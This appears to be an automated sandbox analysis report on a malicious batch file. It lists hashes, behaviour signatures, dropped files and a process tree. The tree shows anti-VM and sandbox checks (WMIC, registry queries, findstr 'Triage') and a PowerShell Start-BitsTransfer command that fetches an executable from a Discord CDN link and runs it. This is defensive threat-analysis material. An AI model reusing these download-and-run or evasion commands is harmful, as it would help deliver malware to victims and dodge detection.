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Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2024, 04:09

General

  • Target

    O0JH5_NewTextDocument.bat

  • Size

    2KB

  • MD5

    1249778163d6bf686b1eb98029fc689b

  • SHA1

    eda466fb3713e0ef8887901036a82a0734b3d47e

  • SHA256

    96c4762d494abe04fa78c60d19af178d3a82ee7d75bda3be35d3ef1e5f1225ca

  • SHA512

    329774fc4a3a8acc91d4366a868323a53053c1e848c84445cadab6ac851df8dea57f16c9d877dd376611ae88c2ce9ea6fcaa970729c36f50859f77988b771a5b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/1291967647767859211/1291972588448514110/ZEN_protected.exe?ex=67020abc&is=6700b93c&hm=7b6c09bd4889de22214c218e9f6bd8b174172db46c5a7b2c5ca6d7b6793fe773

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\O0JH5_NewTextDocument.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1184
    • C:\Windows\system32\findstr.exe
      findstr /i "Triage"
      2⤵
        PID:4536
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic baseboard get manufacturer
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
      • C:\Windows\system32\findstr.exe
        findstr /i "Triage"
        2⤵
          PID:1072
        • C:\Windows\system32\reg.exe
          reg query "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System" /v "SystemBiosVersion"
          2⤵
          • Checks BIOS information in registry
          PID:408
        • C:\Windows\system32\findstr.exe
          findstr /i "Triage"
          2⤵
            PID:2176
          • C:\Windows\system32\reg.exe
            reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum" /v "0"
            2⤵
            • Maps connected drives based on registry
            PID:4012
          • C:\Windows\system32\findstr.exe
            findstr /i "Triage"
            2⤵
              PID:3832
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -Command "(Get-WmiObject -Class Win32_ComputerSystem).Model"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1048
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "(Get-WmiObject -Class Win32_ComputerSystem).Model"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4992
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo B660M "
              2⤵
                PID:716
              • C:\Windows\system32\findstr.exe
                findstr /i "Triage"
                2⤵
                  PID:4788
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "(Get-WmiObject -Class Win32_ComputerSystem).Name"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4572
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "(Get-WmiObject -Class Win32_ComputerSystem).Name"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3116
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo IDKMAN "
                  2⤵
                    PID:4844
                  • C:\Windows\system32\findstr.exe
                    findstr /i "Triage"
                    2⤵
                      PID:1920
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Start-BitsTransfer -Source 'https://cdn.discordapp.com/attachments/1291967647767859211/1291972588448514110/ZEN_protected.exe?ex=67020abc&is=6700b93c&hm=7b6c09bd4889de22214c218e9f6bd8b174172db46c5a7b2c5ca6d7b6793fe773' -Destination 'ZEN_protected.exe'"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4856
                    • C:\Users\Admin\AppData\Local\Temp\ZEN_protected.exe
                      "ZEN_protected.exe"
                      2⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1784

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    2KB

                    MD5

                    6cf293cb4d80be23433eecf74ddb5503

                    SHA1

                    24fe4752df102c2ef492954d6b046cb5512ad408

                    SHA256

                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                    SHA512

                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    64B

                    MD5

                    1a11402783a8686e08f8fa987dd07bca

                    SHA1

                    580df3865059f4e2d8be10644590317336d146ce

                    SHA256

                    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

                    SHA512

                    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    64B

                    MD5

                    446dd1cf97eaba21cf14d03aebc79f27

                    SHA1

                    36e4cc7367e0c7b40f4a8ace272941ea46373799

                    SHA256

                    a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

                    SHA512

                    a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30cs53ko.sbn.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • memory/1784-40-0x00007FF6314D0000-0x00007FF632008000-memory.dmp

                    Filesize

                    11.2MB

                  • memory/1784-37-0x00007FF6314D0000-0x00007FF632008000-memory.dmp

                    Filesize

                    11.2MB

                  • memory/1784-39-0x00007FF6314D0000-0x00007FF632008000-memory.dmp

                    Filesize

                    11.2MB

                  • memory/1784-41-0x000001FC7F3C0000-0x000001FC7F582000-memory.dmp

                    Filesize

                    1.8MB

                  • memory/1784-42-0x000001FC18000000-0x000001FC18528000-memory.dmp

                    Filesize

                    5.2MB

                  • memory/1784-44-0x00007FF6314D0000-0x00007FF632008000-memory.dmp

                    Filesize

                    11.2MB

                  • memory/4856-34-0x00000235E16B0000-0x00000235E16D6000-memory.dmp

                    Filesize

                    152KB

                  • memory/4856-35-0x00000235E1A40000-0x00000235E1A54000-memory.dmp

                    Filesize

                    80KB

                  • memory/4992-0-0x0000021E1C0A0000-0x0000021E1C0C2000-memory.dmp

                    Filesize

                    136KB